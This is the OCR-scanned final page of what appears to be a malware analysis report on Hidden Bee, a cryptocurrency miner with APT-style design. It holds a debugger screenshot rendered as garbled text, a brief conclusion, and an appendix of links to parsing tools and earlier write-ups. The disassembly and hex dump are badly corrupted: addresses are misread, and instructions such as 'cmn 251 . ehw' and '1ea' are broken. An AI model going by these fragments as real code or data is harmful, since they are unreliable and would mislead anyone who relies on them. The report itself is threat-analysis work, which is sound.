o0 00 OO(00 A& OO 00|90 O& DO OO0

The miner in APT-style

& || o028539C cmp eax, ebx
r—-——-# | 0028539E ~ [ jne 285 4B5
i # (| 0D2853A 1ea eax,dword ptr ss:|Jebp-10§
1 # || 00285 3AT mov dword ptr ss:|febp-C[,ebx
0 ® ([ 00Z2B53AA push eax
I # | 0028534 push 287B28 287B28: " /bin/i386/kernelbase. bin™
i . call 2852EA
EIP gy 2] mov esi,eax
i e 002B53B7 pop 2cx
i ® || N2 RS IRA cmn 251 . ehw
VN KN
esi=00285000
eax=006412D0
00285 3IBS
Bebumpl | Wopump2 | @UDump3 | B Dump4 | B Dump 5 | 52 watch 1 | [x=] Locals | 4 Struct |
Address | Hex ASCII
006412D0 05 00 00 O0Z|33 OD OO 00|00 AF OO0 OO0 |MN5L..... I J .
006412ECQ | 00 00 00 10|00 00 OO0 00|00 00 OO0 00|35 E6 00 00 |..uscvrnenn s @®as
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Hidden Bee is an eclectic malware. Although it is a commodity malware used for
cryptocurrency mining, its design reminds us of espionage platforms used by APTs. Going
through all its components is exhausting, but also fascinating. The authors are highly
professional, not only as individuals but also as a team, because the design is consistent in
all its complexity.

Appendix

https://github.com/hasherezade/hidden_bee_tools — helper tools for parsing and converting
Hidden Bee custom formats

https://www.bleepingcomputer.com/news/security/new-underminer-exploit-kit-discovered-
pushing-bootkits-and-coinminers/

Articles about the previous version (in Chinese):

Ouir first encounter with the Hidden Bee:

https://blog.malwarebytes.com/threat-analysis/2018/07/hidden-bee-miner-delivered-via-
improved-drive-by-download-toolkit/

43/43


https://github.com/hasherezade/hidden_bee_tools
https://www.bleepingcomputer.com/news/security/new-underminer-exploit-kit-discovered-pushing-bootkits-and-coinminers/
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